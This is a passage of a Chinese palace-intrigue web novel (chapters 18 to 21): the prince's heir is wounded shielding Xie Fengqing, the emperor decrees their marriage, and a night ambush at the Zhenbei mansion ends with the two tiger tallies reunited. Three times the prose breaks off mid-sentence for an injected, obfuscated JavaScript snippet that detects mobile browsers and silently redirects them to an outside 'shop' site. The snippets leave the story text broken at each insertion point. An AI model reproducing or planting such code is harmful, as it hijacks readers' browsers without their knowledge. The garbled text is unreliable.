沈介狰狞疯狂的表情僵在脸上,他握着乌木簪的手还保持着前刺的姿势,簪身已深深没入萧御的左肩胛之下!鲜血,瞬间如同喷涌的泉水,染红了萧御玄青色的世子朝服,刺目的猩红迅速在衣料上洇开一大片,更有点点血珠,飞溅在近在咫尺、光洁如镜的金阶之上,如同绽开的点点红梅,触目惊心! 剧痛让萧御的身体猛地一颤,脸色瞬间煞白,额角青筋暴起。但他挺直的身躯如同山岳般巍然不动,将谢凤卿牢牢护在身后。他猛地抬头,那双总是带着几分慵懒笑意的眼眸,此刻燃烧着足以焚毁一切的暴怒火焰,死死锁定在近在咫尺、惊骇欲绝的沈介脸上!那眼神,如同地狱归来的修罗! “老匹夫!”萧御的声音嘶哑,却带着一种撕裂金石的恐怖杀意,每一个字都仿佛从齿缝中迸出,裹挟着滔天的血腥气,“敢动我萧御之妻——你!找!死!” 最后一个“死”字出口,如同惊雷炸裂!他右拳带着千钧之力,裹挟着暴怒的风声,狠狠砸向沈介的胸口! “砰!” 沈介如同一个破败的麻袋,被这含怒一击打得倒飞出去,重重撞在蟠龙金柱之上,发出一声沉闷的巨响,随即瘫软滑落在地,口中鲜血狂喷,彻底昏死过去。 “世子!”“御儿!”惊呼声四起。 谢凤卿在萧御挡在身前的瞬间,心脏仿佛被一只冰冷的手攫住!当那刺目的鲜血溅上金阶,她眼中最后一丝属于朝堂博弈的冷静彻底消失,只剩下翻涌的心疼和冰冷的杀机!她猛地扶住萧御微微摇晃的身体,看向沈介的目光,如同在看一个**。 龙椅之上,萧睿将这一切尽收眼底。他看到了萧御毫不犹豫的挡剑,看到了那飞溅的金阶血痕,也看到了谢凤卿眼中瞬间爆发的、几乎凝成实质的杀意。一丝极其隐晦的、难以捉摸的光芒在皇帝深沉的眼底掠过。愤怒?忌惮?亦或…某种冰冷的算计? 他猛地一拍龙案,声音如同雷霆,瞬间压下所有的混乱: “反了!反了!金殿之上,天子眼前,竟敢行刺?!沈介老贼,死不足惜!”他目光扫过被侍卫迅速拖死狗般拖下去的沈介,随即落在相互扶持的萧御和谢凤卿身上,语气陡然一转,竟带上了一丝…听似温和的意味。 “世子萧御,护妻心切,忠勇可嘉!负伤有功!”萧睿的声音在金殿回荡,“谢氏凤卿,执太祖龙玦,深明大义,揭露巨奸,于国亦有功!” 他略作停顿,冕旒下的目光如同深潭,凝视着阶下那对染血的璧人,缓缓开口,每一个字都带着重若千钧的分量: “朕心甚慰。今特旨:敕封谢氏凤卿为‘凤玦郡主’,享亲王女俸禄,赐郡主府邸!念尔等情深义重,特赐婚于凤玦郡主与镇北王世子萧御!” 赐婚?!百官又是一阵低低的哗然。从世子妃到郡主,再到赐婚世子…这转折太过突兀! 然而,萧睿接下来的话,却让谢凤卿扶着萧御的手,猛地收紧!指甲几乎掐入掌心。 “然,”皇帝的声音依旧平稳,却带着一种不容置疑的冷酷,“国丧方过,不宜铺张。着钦天监择吉日,于…三月之内,完婚!” 三月之内完婚! 谢凤卿的瞳孔骤然收缩!一股冰冷的寒意瞬间从脚底窜上头顶!这哪里是恩典?这分明是裹着蜜糖的**!是悬在头顶的铡刀!赐婚是名,实则是皇帝借着“国丧不宜铺张”的由头,强行设下的倒计时!三月完婚,意味着三月之内,她必须交出手中那半枚象征着镇北王府数十万铁骑指挥权的虎符!这是以婚姻为名,行夺兵权之实的赤裸裸的杀局! 她微微垂眸,掩去眼底翻腾的冰冷风暴,拉着萧御,一同缓缓屈膝,声音平静无波:“臣妾(臣)…谢陛下隆恩。” 冰冷的圣旨被太监送到眼前。谢凤卿伸出双手,稳稳接过。那明黄的绢帛,此刻重逾千斤,散发着无形的寒意。 金殿的大门缓缓开启,雪后初晴的刺目光芒涌了进来。朝会结束,百官如同退潮般涌出,低声议论着今日这惊心动魄、一波三折的朝堂剧变,每个人的脸上都带着劫后余生的恍惚和深深的不安。 谢凤卿搀扶着脸色苍白、肩头血迹仍在缓慢洇开的萧御,一步步走下那漫长的、染着点点猩红的汉白玉阶。寒风卷起残雪,吹拂着两人的衣袍。她的目光落在手中那卷冰冷的圣旨上,又仿佛穿透了它,看到了背后那张龙椅上冰冷算计的脸。 “凤玦郡主…三月大婚…”她低声呢喃,唇角勾起一抹冰冷的弧度,那弧度里没有半分新嫁娘的喜悦,只有属于战士的决绝与嘲讽,“萧睿…这糖衣炮弹,我接下了。只是不知…这三月之期,究竟是你的催命符,还是我的…登天梯?” 她抬起头,望向宫墙外铅灰色的天空,眼中火焰重燃。 镇北王府宽大而温暖的马车,隔绝了宫墙的森严与冬日的凛冽。厚重的锦帘垂下,车内燃着上好的银丝炭,温暖如春,空气中弥漫着淡淡的药味和血腥气。 谢凤卿小心翼翼地将萧御安置在柔软的锦垫上,动作轻柔地解开他染血的玄青色朝服外袍。里衣已被肩胛下伤口的鲜血浸透了一大片,黏腻地贴在皮肉上,狰狞的伤口暴露出来。她取过早已备好的温水、药散和洁净布巾,动作熟练而专注地为他清洗、上药、包扎。整个过程,她抿着唇,一言不发,只有眼底深处翻涌着的心疼与冰冷的杀意交织。 萧御靠在软垫上,脸色因失血而显得苍白,额角沁出细密的冷汗,但那双桃花眼却依旧亮得惊人,带着一丝玩味的笑意,一瞬不瞬地看着她紧抿的唇线和她专注处理伤口的侧脸。 “嘶…轻点,娘子,为夫疼着呢。”他故意吸着气,声音带着点撒娇般的沙哑。 谢凤卿手下动作丝毫未停,只是抬眸瞥了他一眼,那眼神清凌凌的,仿佛能看透他强撑的伪装:“疼? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16545991|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方才挡簪子时,怎么不见你喊疼?”语气带着责备,却更藏着关切。 萧御低低地笑了起来,牵动了伤口,眉头微蹙了一下,随即又舒展开:“那老匹夫想伤你?也得先问问我的骨头答不答应。”他伸出未受伤的右手,轻轻覆上谢凤卿忙碌的手背,指尖冰凉。“这点伤,换他一条命,值了。” 谢凤卿的手顿了顿,任由他握着,没有抽开。她垂下眼睫,长长的睫毛在眼下投 阴影,遮住了眸中复杂的情绪。沉默了片刻,她才再次开口,声音低沉下去,带着千斤重担的凝重:“萧睿这一手‘赐婚’……兵权,我们只剩下三个月了。” 她空着的左手,探入袖中,缓缓拿出了那半枚冰冷的青铜虎符。虎符在车内昏黄的光线下,泛着幽冷的光泽,上面的虎形纹路仿佛蛰伏的凶兽。“三个月交出兵权,便是人为刀俎,我为鱼肉。” 她的指尖无意识地摩挲着虎符冰冷的边缘,那寒意似乎能渗入骨髓。萧御握着她的手紧了紧,指腹轻轻摩挲着她手背上细腻的肌肤。他微微侧过头,靠近她耳边,温热的气息拂过她的耳廓,带着一丝慵懒的笑意,还有某种破釜沉舟的决绝:“三个月?” 他低沉的嗓音如同醇酒,带着蛊惑人心的力量,在温暖而弥漫着血腥与药味的狭小空间里缓缓流淌,“那就……先抢他个洞房花烛夜?总不能辜负了陛下他老人家的一番美意吧?”那话语轻佻,眼神却锐利如刀锋,直直地望进谢凤卿的眼底,传递着只有彼此才懂的讯息—— 时间紧迫,必须行动!谢凤卿猛地抬眸,撞进他深邃的、燃烧着火焰的眼瞳中。刹那间,所有的凝重、冰冷的算计、如山般的压力,仿佛被这滚烫的火焰和近乎无赖的宣言冲散了一丝。她看着他那张苍白却依旧带着笑意的脸,看着他肩头包裹的白布下隐隐透出的血色…… 一丝极淡、却极其锐利的笑意,终于在她紧绷的唇角绽开,如同冰原上骤然绽放的火焰花。“好。” 她清晰地应道,一个字,重逾千钧。 随即,她反手紧紧握住了他覆在自己手背上那只手,力量坚定。“那就抢!用这三个月,抢他一个天翻地覆!” 马车在积雪渐融的宫道上辚辚前行,碾过残雪和冰凌,发出咯吱的声响,驶向那座名为“家”、实则暗流汹涌的镇北王府。巍峨的金銮殿在身后渐渐远去,巨大的阴影投在空旷的宫前广场上。 雪后初晴的阳光,带着一种清冷而锐利的明亮,斜斜地照射在刚刚经历了一场风暴洗礼的汉白玉阶上。 阶上,积雪已被清扫,露出光洁如镜的金砖。唯有点点刺目的猩红,如同烙印般凝固在冰冷的石阶上——那是萧御的血,是方才惊心动魄的见证。此刻,两行清晰的脚印,正印在这染血的石阶上,一路向下延伸。一行脚印深而稳,每一步都踏得坚实有力,即便主人的肩头还带着伤,步伐却不见丝毫虚浮。 另一行脚印略浅,却同样坚定,每一步都紧紧相随,没有丝毫迟疑。两行脚印,一深一浅,并行不悖,在光洁的阶面和刺目的血痕之间,清晰地勾勒出一条并肩向前的路径。 它们穿过空旷寂寒的广场,穿过巍峨宫门的巨大阴影,最终消失在宫墙之外——那片依旧被冬日寒意笼罩、却又孕育着未知风暴的天地之中。 第19章要令牌拿命来换 隆冬的子时,寒气凝成了刀,刮在脸上生疼。整个京城被沉重的夜色和厚厚的积雪压得喘不过气,连梆子声都显得格外滞涩,仿佛冻僵在更夫喉咙里。 骤然间,一点猩红撕破了镇北王府外城方向的死寂。那红点急速膨胀、蔓延,舔舐着漆黑的夜空,很快便化作冲天烈焰!浓烟裹挟着灼人的热浪和谷物烧焦的呛人气息,蛮横地撞开了王府高墙,在呼啸的北风助力下,将半片天空都染成了不祥的血色。 “粮仓!粮仓走水了!”凄厉的尖叫划破王府的死寂,瞬间点燃了潜伏的恐慌。 王府深处,演武场。此地空旷,更显风雪狂暴。谢凤卿一身素色劲装,外罩着象征世子妃身份的银狐裘,却无半分柔弱之态。她孤身立于冰冷的石质高台之上,身形挺直如风雪中不肯折腰的青竹。火光在她身后极远处跳跃,将她清瘦的影子长长地投在雪地上,竟有几分孤绝的肃杀。 一片混乱嘈杂的背景音里,她的声音不高,却像淬了冰的利刃,清晰地穿透风雪,扎进每一个闻讯赶来的镇北军旧部耳中: “镇北军何在?!” 她猛地扬起右手,掌心紧握之物在远处粮仓火光的映照下,骤然迸射出幽冷的金属光泽——半枚青铜虎符!古老的纹路在火光下狰狞如活物,符身上深刻的“镇北”二字,像烧红的烙铁,狠狠烫在所有人的眼底。 “——听我号令!”四字斩钉截铁,掷地有声。 演武场瞬间死寂。只有风雪的嘶吼和远处粮仓燃烧的噼啪爆裂声。 短暂的窒息后,无数道目光聚焦在她身上,惊疑、震撼、难以置信……紧接着,是压抑不住的骚动和议论嗡然炸开!空气仿佛被无形的力量点燃。 【世子妃?!她拿着虎符?!】 【世子呢?世子怎么样了?!】 【粮仓起火……她这是要做什么?**吗?!】 【那虎符……是真的?她怎么会有?!】 无形的“弹幕”在每一个惊骇的镇北军旧部心头疯狂刷过。高台上那纤细的身影,与手中象征铁血兵权的虎符形成了极致的反差。 就在这人心浮动、惊疑如沸水般即将冲破临界点的刹那,异变陡生! “咻咻咻——!” 尖锐的破空声撕裂风雪!演武场四周的高墙之上,数十道鬼魅般的黑影如同暗夜蝙蝠,悄无声息地翻越而下,落地轻如鸿**。他们动作整齐划一,身着紧身玄衣,面上覆着毫无表情的纯黑面具,只露出一双双毫无感情、如同淬毒冰棱的眼睛。手中狭长的弯刀在雪光与远处火光的映照下,流淌着幽蓝的死亡光泽。 三十人!正是皇帝豢养的暗卫精锐——影麟卫! 他们的目标极其明确,如同闻到血腥味的鲨鱼,没有丝毫迟疑,甫一落地,便化作三十道索命的黑色闪电,从不同方位,朝着高台上的谢凤卿直扑而去!刀锋破开空气,带起刺骨的寒意,直指她咽喉、心口等要害! 与此同时,演武场边缘靠近内墙的地面,几块看似寻常的巨大青石板猛地向内塌陷,露出下方黑黢黢的洞口!十数条精悍如猎豹的身影从中迅猛窜出,动作带着一股亡命徒特有的狠辣与决绝。他们穿着五花八门的劲装,眼神却如出一辙的疯狂嗜血——首辅豢养的死士,“鹰犬十三”残部! 这些死士的目标同样明确。他们毫不恋战,像一群嗅到腐肉的鬣狗,目标直指谢凤卿腰间悬挂的那枚小巧却至关重要的盐铁令牌!那是掌控帝国经济命脉的钥匙! 双线杀局,绝命绞杀!冰冷的杀机瞬间将整个演武场冻成冰窟。 “卿卿!”一声压抑着暴怒的低吼穿透混乱。 一道银白的身影如同撕裂夜幕的雷霆,骤然从侧后方切入战场!萧御! 他竟已披挂上了一身寒光凛冽的银甲!甲叶在火光与雪光中碰撞,发出铿锵的金铁之鸣。那张苍白了多日的俊美脸庞,此刻因怒意和尚未褪尽的病气而染上薄红,眼神却亮得惊人,燃烧着沉寂多年后终于爆发的凶戾战意。他手中那柄古朴的长剑,在他内力灌注下发出低沉的嗡鸣,仿佛渴饮鲜血。 毒愈首战! 面对三名呈品字形扑向谢凤卿侧翼的影麟卫,萧御手腕一抖,剑光如匹练般横扫而出!没有繁复的花招,只有快、狠、准!剑锋所过之处,空气发出尖锐的厉啸! “噗!噗!噗!” 三声闷响几乎同时响起!血花在雪地上泼洒出三道刺目的红痕!三名训练有素的影麟卫如同被无形的巨锤砸中,惨叫着倒飞出去,手中弯刀脱手,人尚在空中便已毙命!一剑,三杀!快得让人眼花缭乱,狠得令人心胆俱寒! 高台之上,谢凤卿面对扑至眼前的危机,眼神却沉静如古井深潭。她甚至没有去看那几柄刺向她面门的淬毒弯刀。 就在刀锋及体的前一瞬,她动了! 袖口微不可察地一颤,三点细微到几乎融入雪光的寒星激射而出!无声无息,精准得如同长了眼睛,瞬间没入正面扑来的两名影麟卫和一名已近身、手指几乎触碰到盐铁令牌的鹰犬死士的颈侧麻穴! 三人前冲的凶猛势头骤然一僵,眼中爆发出极致的惊骇,身体却如同被抽去了所有骨头,软软地瘫倒在地,动弹不得,只能眼睁睁看着死亡降临。 也就在这电光火石之间,谢凤卿腰肢以一个不可思议的角度柔韧后折,险之又险地避开了侧面削向她腰腹的一刀。冰冷的刀锋擦着她的狐裘掠过,带起几缕银狐毫毛。 她眼中寒芒暴涨!借着后折之势尚未用老,左手闪电般探出,五指如铁钳般精准地扣住了那持刀影麟卫的手腕! “咔嚓!” 一声令人牙酸的骨裂脆响!那影麟卫发出一声短促的惨嚎。谢凤卿手腕一拧一夺,动作行云流水,那柄淬毒的弯刀已易主到了她手中! 刀柄冰冷,带着原主人的体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16545992|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温和血腥气。谢凤卿看也不看瘫倒在地的三人,手中弯刀随意地挽了个刀花,刀尖斜斜指向下方那群因首领瞬间被制而惊疑不定的鹰犬死士,唇角勾起一抹近乎残酷的弧度,声音冷冽如冰珠砸落玉盘: “要令牌?”她微微歪头,眼神睥睨,“拿命来换。” 字字如刀,割在每一个**者的心头。她站在高台边缘,狐裘染上几点溅落的暗红,手中弯刀滴血,身后是冲天的火光与混乱的王府,宛如浴血而生的修罗。 “保护世子妃!”影一低沉的声音响起,他与影七如同两道黑色的旋风,从暗处现身,刀光如幕,瞬间截住了数名试图扑向高台的影麟卫。刀剑碰撞的刺耳锐响与濒死的惨叫交织,演武场彻底沦为血腥的修罗场。 萧御已如一道银色飓风般卷入敌群深处,剑光所至,所向披靡,每一次挥剑都带起一蓬血雨。他体内蛰伏多年的内力在剧毒拔除后汹涌奔腾,此刻尽数化为杀伐之力。然而,每一次力劈华山般的斩击之后,他握剑的手指都会几不可察地微微颤抖一下,额角渗出细密的冷汗,那是剧毒侵蚀后经脉初愈、强行催动内力带来的隐痛与虚浮。但他眼神中的凶戾与守护之意却越发炽盛,硬生生将这份不适压了下去,剑势反而更加狂猛,将靠近高台的威胁一一斩碎。 鹰犬死士们眼见夺牌受阻,又被谢凤卿那冰冷的话语和狠辣的手段所慑,攻势出现了一丝迟滞。 就在这微妙僵持的瞬间! 演武场边缘,靠近兵器架的位置,一个须发皆白、在王府侍奉了二十余年的老管家,一直佝偻着背,脸上满是“惊慌失措”。此刻,他浑浊的老眼中却陡然闪过一丝极其怨毒与疯狂的亮光!那眼神,与他平日里的恭顺卑微判若两人! 趁着所有人的注意力都被高台和场中厮杀吸引,他猛地从宽大的袖袍中掏出几个沉甸甸的皮囊,用尽全身力气,狠狠砸向演武场中央那些堆积如山的、用于冬季防滑和夜间照明的火油桶! “噗嗤!”“噗嗤!” 皮囊破裂,刺鼻的火油瞬间汩汩流出,迅速在雪地上蔓延开来! “都**吧!”老管家嘶声厉吼,声音尖锐扭曲,带着一种压抑了二十年的疯狂快意。他颤抖着手,掏出火折子,猛地吹亮! 一点橘红的火苗,在风雪中跳跃,映亮了他那张因扭曲而显得狰狞可怖的老脸,也映亮了下方迅速扩散的黑色油污! “狗贼找死!”一直如同影子般守护在谢凤卿附近高台阴影下的影七,反应快到了极致!在老管家火折子亮起的刹那,他身形如鬼魅般从高台边缘滑下,几乎贴着地面疾射而至!手中短匕带着凄厉的破风声,精准无比地狠狠敲在老管家持火折子的手腕上! “咔嚓!”又是一声令人头皮发麻的骨裂声! “啊——!”老管家发出杀猪般的惨嚎,火折子脱手飞出,落在雪地上,嗤的一声冒起一小股白烟,熄灭了。 第20章指使我的是陛下啊,我是奉旨 影七动作毫不停滞,一脚狠狠踹在老管家腿弯,将其踹得双膝砸地,跪倒在冰冷的雪泥之中。另一只手闪电般捏住他的下颌,防止他咬舌自尽。 这一切发生得太快!从老管家投掷火油囊到被影七制服跪地,不过几个呼吸! 演武场上的厮杀都为之一滞。无数道目光聚焦过来,充满了震惊、愤怒和难以置信。 谢凤卿站在高台边缘,居高临下地看着被死死按在雪泥里、狼狈不堪的老管家。她脸上没有丝毫意外,只有一片冰封的漠然。风雪吹动她的鬓发,火光在她眼中跳跃,如同深渊中的寒星。 “谁指使你的?”影七的声音如同刮骨钢刀,抵在老管家的颈动脉上。 老管家疼得浑身抽搐,脸上涕泪横流,混合着雪水泥污,狼狈不堪。他眼中闪过一丝绝望的疯狂,嘶哑地大笑起来,笑声凄厉如夜枭: “指使?哈哈哈哈……是圣旨!是皇上的密旨!”他猛地抬头,用尽力气朝着高台方向嘶吼,声音穿透风雪,清晰地传入每个人的耳朵: “皇上密旨!三日内,夺回虎符,废黜萧御世子之位!否则……否则镇北王府,鸡犬不留!哈哈哈哈……你们完了!都完了!识相的,快快交出虎符,世子妃……不,谢凤卿!你还能留个全尸!” “哗——!” 此言一出,如同在滚油中泼进一瓢冰水! 演武场上,无论是正在厮杀的影麟卫、鹰犬死士,还是刚刚稳住阵脚、惊魂未定的镇北军旧部,全都骇然变色! 皇帝的密旨?!夺虎符,废世子?! 这已经不是简单的刺杀或抢夺,这是来自皇权的、赤裸裸的剿杀令!是对整个镇北王府根基的彻底否定! 一股寒彻骨髓的恐惧和绝望,瞬间笼罩了那些忠心于王府的部属心头。连影一和影七的脸色都变得极其难看。 谢凤卿却笑了。 那笑容极淡,极冷,如同冰原上骤然裂开的一道缝隙,透出底下万载不化的酷寒与嘲弄。 “废黜?”她轻轻重复着这两个字,仿佛在品味着什么极其可笑的东西。目光扫过下方因老管家之言而更加疯狂的影麟卫和鹰犬死士,最后落在那被按在地上、犹自带着疯狂笑意的老管家脸上。 “原来如此。”她缓缓点头,声音不高,却清晰地压下了一切嘈杂,“一条潜伏了二十年的老狗,终于肯露出獠牙了。” 她的语气平淡得令人心悸,仿佛在谈论一件微不足道的小事。 “既然你这么急着替你的主子尽忠……”谢凤卿的目光陡然变得锐利如刀锋,直刺老管家的眼底,“那本妃,就成全你。” 话音落下的瞬间,谢凤卿动了! 她甚至没有走下高台。手腕猛地一扬! 方才夺自影麟卫的那柄淬毒弯刀,化作一道凄厉的黑色闪电,挟着尖锐的破空之声,撕裂风雪,直射而下! 目标,正是被影七死死按住、跪在雪地里的老管家! “噗嗤!” 刀锋精准无比地贯入咽喉! 老管家脸上那疯狂扭曲的笑容瞬间凝固,眼中爆发出极致的惊骇与难以置信。他张了张嘴,却只涌出大股大股粘稠的鲜血,嗬嗬作响。身体剧烈地抽搐了几下,眼中的光芒迅速黯淡下去,最终头一歪,彻底没了声息。 温热的鲜血喷溅在冰冷的雪地上,红得刺眼。 整个演武场,死一般的寂静! 无论是敌是友,所有人都被这毫无征兆、冷酷到极致的雷霆一击震慑住了!高高在上的世子妃,竟在众目睽睽之下,亲手斩杀王府老仆,只因他供出了皇帝的密旨?! 这不仅是**,更是对皇权的极致蔑视与践踏! 谢凤卿缓缓收回手,仿佛只是拂去了一片雪花。她看也不看老管家的尸体,目光如同实质的寒冰,扫过全场,最终再次高高举起手中那半枚染血的青铜虎符! “都看清楚了吗?!” 她的声音陡然拔高,如同惊雷炸响,带着一种不容置疑的、铁血铿锵的力量,狠狠砸在每一个人的心头! “这就是背叛者的下场!” “镇北军——何在?!” 最后四个字,她用上了内力,声震四野!在空旷的演武场上激起隆隆回音! 随着她这一声厉喝,手中的半枚虎符仿佛被注入了某种神秘的力量,在火光映照下,那古老的纹路骤然亮起一丝微不可察的幽光! “呜——嗡——!” 一声低沉、苍凉、仿佛来自遥远北疆雪原的号角声,毫无征兆地穿透王府的高墙,穿透风雪的呼啸,在死寂的夜空中骤然响起! 这号角声带着一种奇特的韵律,悠长而悲怆,瞬间唤醒了所有镇北军老卒血液中沉睡的记忆! 紧接着,演武场四周那些看似空无一物的阴影角落、屋脊背后、甚至厚厚的积雪之下,猛地站起一道道沉默如山的身影! 他们人数不多,只有十八人。 但这十八人甫一出现,一股浓烈得化不开的血腥气与铁锈般的杀伐之气便瞬间弥漫开来,压得风雪都为之一滞!他们身形高矮不一,穿着破旧的北疆老羊皮袄,身上带着常年征战留下的累累伤疤,面容大多被风霜雕刻得粗粝沧桑,唯有一双双眼睛,锐利如鹰隼,沉稳如磐石,此刻全都燃烧着压抑了太久的、近乎狂热的火焰! 他们无声无息地出现,动作却迅捷如电,如同融入黑夜的幽灵。为首一人,身材魁梧如铁塔,脸上横亘着一条从额角划到下颌的狰狞刀疤,他一步踏前,右手握拳,狠狠捶击在左胸心脏的位置! “咚!” 沉闷的撞击声如同战鼓擂响! “风雪十八骑——!”刀疤脸汉子声音嘶哑如砂砾摩擦,却带着一股撕裂长空的力量,“——参见凤主!” “参见凤主!” “参见凤主!” 十七道同样嘶哑、同样饱含铁血与忠诚的声音同时爆发!十八人齐刷刷单膝跪地,朝着高台方向,动作整齐划一,如同一个人!膝盖重重砸在冰冷的雪地上,发出沉闷的轰鸣!他们低下的头颅,是向那枚虎符,更是向高台上那个手握虎符、杀伐决断的女子! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16545993|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这突如其来的变故,再次让所有人惊骇欲绝! 风雪十八骑!这曾是追随老镇北王萧战纵横北疆、令蛮族闻风丧胆的无敌铁骑!传说早已在十年前那场惨烈的大战中全军覆没……他们竟然还在!而且,他们称呼世子妃为——“凤主”?! 就在这十八骑现身跪拜的同时,演武场通往内府和外城的几处通道口,影影绰绰的身影如潮水般涌出!他们穿着王府杂役、马夫、甚至普通家丁的服饰,但此刻褪去了所有伪装,眼神锐利,行动矫健,瞬间结成战阵,将整个演武场围得水泄不通! 三百死士!皆是镇北王府蛰伏多年的暗子!此刻,因虎符合一,因“凤主”之令,尽数现身! 局势瞬间逆转! 谢凤卿立于高台,风雪卷动她的衣袂和发梢,手中的半枚虎符仿佛拥有千钧之力。她目光如电,扫过下方因十八骑与三百死士现身而彻底陷入绝望、阵脚大乱的影麟卫和鹰犬死士,声音冰冷地宣告: “镇北军的刀——” 她的目光最后落在那老管家尚有余温的尸体上,一字一句,如同金铁交鸣,响彻夜空: “——只认虎符,不认龙椅!” “杀!” 一个冰冷的字眼从她唇间吐出。 如同打开了地狱的闸门! “杀!” “杀!” 三百死士与风雪十八骑爆发出震天的怒吼!如同决堤的洪流,带着压抑了多年的血仇与愤怒,朝着那些陷入重围、肝胆俱裂的影麟卫和鹰犬死士席卷而去!刀光剑影瞬间淹没了整个演武场,惨叫声、兵刃碰撞声、骨骼碎裂声响成一片,比之前惨烈十倍!这是一场单方面的屠戮! 与此同时,演武场侧翼靠近王府内河的方向,隐约传来几声急促而低沉的鸟鸣。 霍三娘一身劲装,如同暗夜中的水妖,正指挥着数十条从鬼市悄然潜入的乌篷快船,如同幽灵般紧贴着王府内河的河岸。船上人影憧憧,动作快如鬼魅,正将王府外城粮仓中那些未被大火波及的、堆积如山的粮袋,以惊人的速度转移上船。 “动作麻利点!十万石!一粒都不能少!”霍三娘压着嗓子,声音在寒风中却带着不容置疑的狠厉。这是谢凤卿暗中布局的关键一环——为即将到来的北疆大捷,埋下至关重要的粮草! 演武场的血腥风暴似乎与这里无关,却又紧密相连。每一袋被运走的粮食,都是未来战场上将士活命的根本。 高台之上,谢凤卿冷眼看着下方的杀戮。腥风卷着血沫吹上高台,她银狐裘的衣角染上了点点暗红。她并未在意,目光沉静,仿佛在欣赏一场与己无关的戏剧。 就在这时,身旁的雪地被沉重的脚步踩踏。 萧御踏着遍地狼藉和尚未凝固的鲜血,一步步走上高台。他身上的银甲沾染了大片大片的暗红,手中的古朴长剑剑尖犹在滴血,顺着冰冷的剑脊滑落,在雪地上砸开一朵朵细小的血花。他脸色依旧苍白,但那双深邃的眼眸却亮得惊人,如同燃尽的灰烬中重新腾起的火焰,定定地凝视着谢凤卿。 第21章夫妻合璧天下可夺 他走到谢凤卿面前,距离一步之遥。风雪在他们之间呼啸,卷动着血腥的气息。 萧御的目光在她清冷绝艳的侧脸上停留一瞬,随即缓缓垂下眼帘,看向她手中紧握的那半枚染血的青铜虎符。 然后,在谢凤卿略带讶然的目光中,在下方无数镇北军旧部、十八骑、三百死士,乃至残余敌人惊骇欲绝的注视下—— 这位刚刚以雷霆手段斩杀十数强敌、毒愈后初显峥嵘的镇北王世子,萧御,竟毫不犹豫地屈下了他那条曾支撑起北疆半壁山河的右膝! “咚!” 膝盖重重砸在冰冷坚硬的高台石面上,发出沉闷而清晰的回响!这一跪,跪碎了所有关于他虚弱、关于他屈服的流言! 他左手拄着滴血的长剑,支撑着身体。右手则从自己染血的胸甲内侧,珍而重之地取出了另外半枚青铜虎符!那半枚虎符同样古老,纹路清晰,刻着“镇北”二字的另一半。 他双手托起这半枚虎符,如同托起自己所有的忠诚、信任与身家性命,高高举过头顶,呈献给眼前这个清冷如月、杀伐如神的女子。 他抬起头,迎上谢凤卿的目光。那张俊美却苍白的脸上,没有了平日的深沉莫测,也没有了方才杀戮时的狠戾疯狂,只剩下一种近乎虔诚的专注与决绝。他薄唇轻启,声音因内力消耗和情绪激荡而略显沙哑,却异常清晰地穿透了风雪与杀戮的喧嚣,响彻在每一个人的耳边: “此符,本为卿卿掌中刃。” 他顿了顿,目光灼灼,一字一句,重逾千钧: “今日虎符合一,自此,萧御愿为卿卿手中刀锋,身前盾甲。” “夫妻合璧——”他眼中爆发出足以焚毁一切桎梏的炽热光芒,“——天下可夺!” “轰!” 这誓言如同九天惊雷,狠狠劈在所有人的心头! 虎符合一!世子跪献兵权!以“夫妻”为盟,许以“天下”! 这已不是简单的臣服或支持,这是将整个镇北王府、连同他萧御个人的命运与前程,毫无保留地、彻底地交托到了谢凤卿的手中!是灵魂的共鸣,是野心的交融! 演武场上的厮杀不知何时已经停歇。残余的影麟卫和鹰犬死士早已被屠戮殆尽,雪地上伏尸处处,血水蜿蜒。但此刻,无人关注那些尸体。 所有镇北军旧部、风雪十八骑、三百死士,甚至影一影七,全都屏住了呼吸,目光狂热而敬畏地聚焦在高台之上那两道身影上。 谢凤卿看着单膝跪在自己面前、高举虎符的萧御。风雪吹动他染血的鬓发,火光在他眼中跳跃,那专注而炽烈的眼神,仿佛要将她整个人都点燃。 她眼底深处,那万载不化的寒冰,似乎裂开了一道极其细微的缝隙,有某种陌生的、滚烫的情绪一闪而逝。快得连她自己都未曾捕捉清楚。 她没有说话。只是缓缓地、极其郑重地伸出手,指尖触碰到那半枚冰冷的虎符,然后,稳稳地接过。 当两半青铜虎符在她手中轻轻一合,古老的纹路严丝合缝地嵌在一起,发出一声轻微却仿佛撼动人心的“咔哒”轻响时—— 整个演武场,爆发出山呼海啸般的狂热吼声: “凤主!世子!” “虎符合一!镇北永固!” “凤主!世子!……” 声浪滚滚,直冲云霄,将一切风雪都压了下去! 然而,就在这热血沸腾、兵权合一、人心归附的顶点—— “圣——旨——到——!!” 